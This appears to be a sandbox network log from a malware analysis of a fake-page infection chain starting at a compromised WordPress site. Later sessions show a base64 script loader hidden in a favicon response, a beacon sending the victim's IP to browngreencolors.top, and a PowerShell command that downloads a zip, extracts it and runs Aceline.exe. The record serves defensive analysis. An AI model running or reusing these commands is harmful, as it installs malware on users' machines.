2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 42 06 0a 2b 06 01 04 01 82 37 02 01 0c 31 34 30 32 a0 14 80 12 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 a1 1a 80 18 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 04 82 01 00 3d cd 0e 0a 7b 43 82 69 14 76 9b c2 1b 25 6c 3f 01 d0 b8 bb 6f e9 4d 62 55 f3 7a 5b c4 05 04 2e 09 48 41 fd e9 13 24 1e f0 71 f0 79 9e 8e a7 ea d7 72 49 9f 71 e8 41 4c 0a 8e 69 71 3c 8f e9 56 c5 9d a0 e6 3c df 48 88 1c cf 7f eb a0 34 f3 ff 37 ca 6d 9f c7 86 eb 12 35 0a 45 a5 81 a8 f8 53 6d c6 11 4e ef 37 77 2a 73 bf 08 f9 ee ba 8d b8 48 1a 93 32 44 3a cd 7c 41 2d e3 20 7e 34 a2 7c 2b 93 92 2f 0a 5f 17 c8 65 98 79 74 bb e7 1c 1a e2 6c a4 15 db cf ae 5b 18 f9 9a 82 ab 98 f5 13 93 f3 0f 89 71 a4 2f c0 7e Data Ascii: B+71402Microsofthttp://www.microsoft.com0H={Civ%l?oMbUz[.HA$qyrIqALiq<V<H47m5ESmN7wsH2D:\|A- ~4\|+/_eytl[q/~
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: a3 82 01 1b 30 82 01 17 30 1d 06 03 55 1d 0e 04 16 04 14 ec 97 76 68 29 fe 13 4f cd 74 c6 25 18 f2 00 7c da 7d d7 a7 30 1f 06 03 55 1d 23 04 18 30 16 80 14 d5 63 3a 5c 8a 31 90 f3 43 7b 7c 46 1b c5 33 68 5a 85 6d 55 30 56 06 03 55 1d 1f 04 4f 30 4d 30 4b a0 49 a0 47 86 45 68 74 74 70 3a 2f 2f 63 72 6c 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 2f 63 72 6c 2f 70 72 6f 64 75 63 74 73 2f 4d 69 63 54 69 6d 53 74 61 50 43 41 5f 32 30 31 30 2d 30 37 2d 30 31 2e 63 72 6c 30 5a 06 08 2b 06 01 05 05 07 01 01 04 4e 30 4c 30 4a 06 08 2b 06 01 05 05 07 30 02 86 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 2f 63 65 72 74 73 2f 4d 69 63 54 69 6d 53 74 61 50 43 41 5f 32 30 31 30 2d 30 37 2d 30 31 2e 63 72 74 30 0c 06 Data Ascii: 00Uvh)Ot%\|}0U#0c:\1C{\|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49740	74.125.137.104	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:06 UTC	909	OUT	GET /ccm/collect?en=page_view&dl=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&scrsrc=www.googletagmanager.com&frm=0&rnd=1559727493.1747856882&dt=Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington&auid=2043224603.1747856882&navt=n&npa=0&gtm=45He55k0v78295896za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&tft=1747856881758&tfd=5298&apve=1&apvf=f HTTP/1.1 host: www.google.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:06 UTC	432	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate date: Wed, 21 May 2025 19:48:05 GMT pragma: no-cache content-type: text/plain expires: Fri, 01 Jan 1990 00:00:00 GMT vary: Origin vary: X-Origin vary: Referer server: scaffolding on HTTPServer2 content-length: 0 x-xss-protection: 0 x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49741	99.83.231.3	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:06 UTC	379	OUT	GET /v3/company/details HTTP/1.1 host: epsilon.6sense.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:06 UTC	220	IN	HTTP/1.1 401 Unauthorized date: Wed, 21 May 2025 19:48:06 GMT content-type: application/json content-length: 54 timing-allow-origin: https://6sense.com x-6si-region: access-control-expose-headers: X-6si-Region
2025-05-21 19:48:06 UTC	54	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 34 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 68 65 61 64 65 72 20 6d 69 73 73 69 6e 67 2e 22 7d Data Ascii: {"code":401,"message":"Authorization header missing."}

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49743	150.171.27.254	443

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:06 UTC	449	OUT	GET /apc/trans.gif?fcb56c85667cf95d3e6d7dffe46dcc7d HTTP/1.1 host: ax-ring.msedge.net referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 accept-language: en-CH accept-encoding: identity user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
2025-05-21 19:48:06 UTC	690	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate content-length: 43 content-type: image/gif last-modified: Sun, 11 May 2025 03:48:58 GMT accept-ranges: bytes etag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D access-control-allow-origin: * access-control-expose-headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName timing-allow-origin: * x-content-type-options: nosniff x-endpoint: LAX31r5c x-frontend: AFD x-machinename: LAX311000114007 x-userhostaddress: 191.101.61.0 x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: C2B83362AEB94E118DADCDDE0B32DA20 Ref B: LAX311000114007 Ref C: 2025-05-21T19:48:06Z date: Wed, 21 May 2025 19:48:06 GMT
2025-05-21 19:48:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;
2025-05-21 19:48:06 UTC	449	OUT	GET /apc/trans.gif?41daae4991a558c007bc1c761ae255a6 HTTP/1.1 host: ax-ring.msedge.net referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 accept-language: en-CH accept-encoding: identity user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
2025-05-21 19:48:06 UTC	690	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate content-length: 43 content-type: image/gif last-modified: Sun, 11 May 2025 03:48:58 GMT accept-ranges: bytes etag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D access-control-allow-origin: * access-control-expose-headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName timing-allow-origin: * x-content-type-options: nosniff x-endpoint: LAX31r5c x-frontend: AFD x-machinename: LAX311000114007 x-userhostaddress: 191.101.61.0 x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 2E4DC17203B043989775F36456564E67 Ref B: LAX311000114007 Ref C: 2025-05-21T19:48:06Z date: Wed, 21 May 2025 19:48:06 GMT
2025-05-21 19:48:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49742	70.40.216.191	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:06 UTC	369	OUT	GET /favicon.ico HTTP/1.1 host: ia-robotics.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:06 UTC	371	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:06 GMT server: nginx/1.25.5 content-type: text/html; charset=UTF-8 cache-control: max-age=7200 expires: Wed, 21 May 2025 21:48:06 GMT vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== x-endurance-cache-level: 2 x-nginx-cache: WordPress x-server-cache: true x-proxy-cache: MISS content-length: 534
2025-05-21 19:48:06 UTC	534	IN	Data Raw: 3c 69 6d 67 20 73 72 63 3d 22 2f 66 69 6c 65 73 2f 69 6d 67 2f 6c 6f 67 6f 2e 70 6e 67 22 20 64 61 74 61 2d 64 69 67 65 73 74 3d 22 4b 47 5a 31 62 6d 4e 30 61 57 39 75 4b 43 6c 37 64 6d 46 79 49 47 45 39 62 47 39 6a 59 58 52 70 62 32 34 73 59 6a 31 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 66 48 78 6b 62 32 4e 31 62 57 56 75 64 43 35 6e 5a 58 52 46 62 47 56 74 5a 57 35 30 63 30 4a 35 56 47 46 6e 54 6d 46 74 5a 53 67 69 61 47 56 68 5a 43 49 70 57 7a 42 64 4c 47 4d 39 49 6e 4e 6a 63 6d 6c 77 64 43 49 73 5a 44 31 68 64 47 39 69 4b 43 4a 68 53 46 49 77 59 30 68 4e 4e 6b 78 35 4f 57 70 69 52 32 78 73 59 6d 35 53 65 6b 78 74 54 6e 5a 69 62 6c 4a 32 59 6b 63 35 62 6d 56 54 4e 57 70 69 4d 6a 42 32 57 54 4a 47 64 32 52 48 54 6d 39 5a 55 7a 6c 6f 59 57 31 Data Ascii: <img src="/files/img/logo.png" data-digest="KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OWpiR2xsYm5SekxtTnZiblJ2Ykc5bmVTNWpiMjB2WTJGd2RHTm9ZUzloYW1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49744	172.67.74.152	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:17 UTC	539	OUT	GET /?format=json HTTP/1.1 host: api.ipify.org sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://ia-robotics.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty referer: https://ia-robotics.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:17 UTC	447	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:17 GMT content-type: application/json content-length: 22 access-control-allow-origin: * vary: Origin cf-cache-status: DYNAMIC server: cloudflare cf-ray: 943697281cbdf640-LAX server-timing: cfL4;desc="?proto=TCP&rtt=161711&min_rtt=161387&rtt_var=34344&sent=7&recv=9&lost=0&retrans=0&sent_bytes=3403&recv_bytes=921&delivery_rate=25005&cwnd=252&unsent_bytes=0&cid=2be899f247bdbbd0&ts=250&x=0"
2025-05-21 19:48:17 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 31 39 31 2e 31 30 31 2e 36 31 2e 32 33 22 7d Data Ascii: {"ip":"191.101.61.23"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49745	104.26.12.205	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:18 UTC	368	OUT	GET /?format=json HTTP/1.1 host: api.ipify.org user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:18 UTC	416	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:18 GMT content-type: application/json content-length: 22 vary: Origin cf-cache-status: DYNAMIC server: cloudflare cf-ray: 9436972d5a835295-LAX server-timing: cfL4;desc="?proto=TCP&rtt=161488&min_rtt=161193&rtt_var=25793&sent=8&recv=10&lost=0&retrans=0&sent_bytes=3403&recv_bytes=822&delivery_rate=25044&cwnd=253&unsent_bytes=0&cid=f8b7b24f0d96586c&ts=349&x=0"
2025-05-21 19:48:18 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 31 39 31 2e 31 30 31 2e 36 31 2e 32 33 22 7d Data Ascii: {"ip":"191.101.61.23"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49746	172.67.146.180	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:20 UTC	562	OUT	GET /counter/MTkxLjEwMS42MS4yMw== HTTP/1.1 host: browngreencolors.top sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://ia-robotics.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty referer: https://ia-robotics.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:20 UTC	1414	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:20 GMT content-type: text/html; charset=utf-8 server: cloudflare x-frame-options: SAMEORIGIN x-xss-protection: 0 x-content-type-options: nosniff x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin link: </assets/application-8b441ae0.css>; rel=preload; as=style; nopush vary: Accept,Accept-Encoding report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uGocKoBwWqSOoAXsP6SlT2C9c6mA0gu5h5wTDxIeOoDqCYh9ki%2Bz8Dm3LGVGhrTFyROrswwPn5a7V8kaXkjSyIxOSlijLH8waMM4chYxqPruRt7h"}]} cache-control: max-age=0, private, must-revalidate x-request-id: a7936be8-a388-4700-9391-bd521cdd6785 x-runtime: 0.005714 strict-transport-security: max-age=63072000; includeSubDomains nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} cf-cache-status: DYNAMIC set-cookie: _landing_session=nZbhF8oVGSQcVvUeAtAvnMyNRQg9c3zANbtLhR9v7ZsR40AfevrnOBl7zlLTS1l3lEikGbUBGeXKxlRsd6xS7aAB2Vfb8kWaJuQ6yIWBKilg%2BHEPb%2BrGeEdJr1c5wP0I9md6u%2BKM0frm%2Blftxfe0qdYpkaCM%2FXEN95wjJXbvVMoxyNohYJQFvry8ryU5yN2QkRdW8BnFlWHQrcAPJbGto1cXGO2B%2BwCVZmXxWvIa39vm2TYQAQTe%2BNRnwuU5eVkjnFaNVV8ClaRICJzG%2FH0bmdp%2F46hAVyO%2B--VOvWEVix2lzFN2ZG--tw3eFbIO7m3CK7thEvZ6Lg%3D%3D; HttpOnly; SameSite=Lax; Secure; Path=/ cf-ray: 9436973b8a527bce-LAX alt-svc: h3=":443"; ma=86400 content-length: 1153
2025-05-21 19:48:20 UTC	1153	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 61 6e 64 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 Data Ascii: <!DOCTYPE html><html> <head> <title>Landing</title> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="mobile-web-app-capable" content="yes"> <met

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49748	34.239.236.43	443	7348	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:21 UTC	63	OUT	GET /7m2yhx HTTP/1.1 Host: psee.io Connection: Keep-Alive
2025-05-21 19:48:21 UTC	633	IN	HTTP/1.1 302 Found Date: Wed, 21 May 2025 19:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: Apache/2.4.62 (Debian) X-Powered-By: PHP/7.4.33 Set-Cookie: uuid_inserted_status=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=.psee.io Set-Cookie: browser_uuid=AAEF8D2E-57D8-1552-C115-2153F4611AAD; expires=Thu, 21-May-2026 19:48:21 GMT; Max-Age=31536000; path=.psee.io Set-Cookie: /7m2yhx=1; expires=Fri, 20-Jun-2025 19:48:21 GMT; Max-Age=2592000; path=/7m2yhx; domain=psee.io Location: https://browngreencolors.top/miranda/few Content-Length: 253
2025-05-21 19:48:21 UTC	253	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 20 28 72 65 64 69 72 65 63 74 53 74 61 72 74 29 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 3c 48 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 62 72 6f 77 6e 67 72 65 65 6e 63 6f 6c 6f 72 73 2e 74 6f 70 2f 6d 69 72 61 6e 64 61 2f 66 65 77 22 3e 68 65 72 65 3c 2f 41 3e 2e 20 3c 48 52 3e 3c 48 52 3e 43 61 63 68 65 20 76 33 2e 33 35 2e 31 2e 32 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Moved Permanently (redirectStart)</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Permanently</H1>The document has moved <A HREF="https://browngreencolors.top/miranda/few">here</A>. <HR><HR>Cache v3.35.1.2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49747	35.190.80.1	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:21 UTC	500	OUT	OPTIONS /report/v4?s=uGocKoBwWqSOoAXsP6SlT2C9c6mA0gu5h5wTDxIeOoDqCYh9ki%2Bz8Dm3LGVGhrTFyROrswwPn5a7V8kaXkjSyIxOSlijLH8waMM4chYxqPruRt7h HTTP/1.1 host: a.nel.cloudflare.com origin: https://browngreencolors.top access-control-request-method: POST access-control-request-headers: content-type user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-05-21 19:48:21 UTC	317	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 21 May 2025 19:48:20 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:48:21 UTC	475	OUT	POST /report/v4?s=uGocKoBwWqSOoAXsP6SlT2C9c6mA0gu5h5wTDxIeOoDqCYh9ki%2Bz8Dm3LGVGhrTFyROrswwPn5a7V8kaXkjSyIxOSlijLH8waMM4chYxqPruRt7h HTTP/1.1 host: a.nel.cloudflare.com content-length: 436 content-type: application/reports+json origin: https://browngreencolors.top user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-05-21 19:48:21 UTC	436	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 30 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 69 61 2d 72 6f 62 6f 74 69 63 73 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 36 2e 31 38 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a Data Ascii: [{"age":0,"body":{"elapsed_time":907,"method":"GET","phase":"application","protocol":"h2","referrer":"https://ia-robotics.com/","sampling_fraction":1.0,"server_ip":"172.67.146.180","status_code":200,"type":"abandoned"},"type":"network-error","url":"https:
2025-05-21 19:48:21 UTC	195	IN	HTTP/1.1 200 OK content-length: 0 access-control-allow-origin: * vary: Origin date: Wed, 21 May 2025 19:48:21 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49749	104.21.95.172	443	7348	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:21 UTC	81	OUT	GET /miranda/few HTTP/1.1 Host: browngreencolors.top Connection: Keep-Alive
2025-05-21 19:48:22 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 21 May 2025 19:48:22 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Referrer-Policy: strict-origin-when-cross-origin Etag: W/"1adfe87d71633b91dda483a5098d5dd0-gzip" Cache-Control: max-age=0, private, must-revalidate X-Request-Id: de1e0bcf-fbcf-42c7-8d14-45b7d032ed87 X-Runtime: 0.093297 Strict-Transport-Security: max-age=63072000; includeSubDomains Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=V2ZF%2B0DOVXqhAridHgV2wazVokRgzPeNa4LR6H52u4R5Ik%2FybgSDzuZClfpzzhIeCd5hmaQQo0zJjsyfUMy3ue%2B2n5h0rEDi05W%2Bw6u8YAph35DM"}]} CF-RAY: 94369745cc2f7bce-LAX alt-svc: h3=":443"; ma=86400 Content-Length: 294
2025-05-21 19:48:22 UTC	294	IN	Data Raw: 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 22 68 74 74 70 73 3a 2f 2f 62 69 74 6c 79 2e 63 78 2f 46 34 50 79 4e 22 20 2d 4f 75 74 46 69 6c 65 20 22 24 65 6e 76 3a 54 45 4d 50 5c 56 57 53 45 43 54 47 45 42 50 42 41 2e 7a 69 70 22 3b 20 45 78 70 61 6e 64 2d 41 72 63 68 69 76 65 20 2d 50 61 74 68 20 22 24 65 6e 76 3a 54 45 4d 50 5c 56 57 53 45 43 54 47 45 42 50 42 41 2e 7a 69 70 22 20 2d 44 65 73 74 69 6e 61 74 69 6f 6e 50 61 74 68 20 22 24 65 6e 76 3a 54 45 4d 50 22 3b 20 26 20 22 24 65 6e 76 3a 54 45 4d 50 5c 41 63 65 6c 69 6e 65 2e 65 78 65 22 3b 20 52 65 6d 6f 76 65 2d 49 74 65 6d 20 22 24 65 6e 76 3a 54 45 4d 50 5c 56 57 53 45 43 54 47 45 42 50 42 41 2e 7a 69 70 22 20 2d 46 6f 72 63 65 3b 20 52 65 6d 6f 76 65 2d 49 74 65 6d 20 Data Ascii: Invoke-WebRequest -Uri "https://bitly.cx/F4PyN" -OutFile "$env:TEMP\VWSECTGEBPBA.zip"; Expand-Archive -Path "$env:TEMP\VWSECTGEBPBA.zip" -DestinationPath "$env:TEMP"; & "$env:TEMP\Aceline.exe"; Remove-Item "$env:TEMP\VWSECTGEBPBA.zip" -Force; Remove-Item

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49750	104.21.91.178	443	7348	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:23 UTC	158	OUT	GET /F4PyN HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bitly.cx Connection: Keep-Alive
2025-05-21 19:48:23 UTC	768	IN	HTTP/1.1 302 Found Date: Wed, 21 May 2025 19:48:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: https://septembergoodwine.top/frendly/manchester Cf-Cache-Status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uxOUYXwrMudqBBBcAmYXet3tH6%2BV%2F3Hj7B8W3QM9Ry1czkVTMK10lq1K6eEiVGFPrx4I1yQRPNxwErwSb64zQ09hZu5CRMX6"}]} Set-Cookie: PHPSESSID=6v8akrnvg7nn8t5ri5sdsdb9ij; Path=/ CF-RAY: 9436974d5b7f0fc6-LAX alt-svc: h3=":443"; 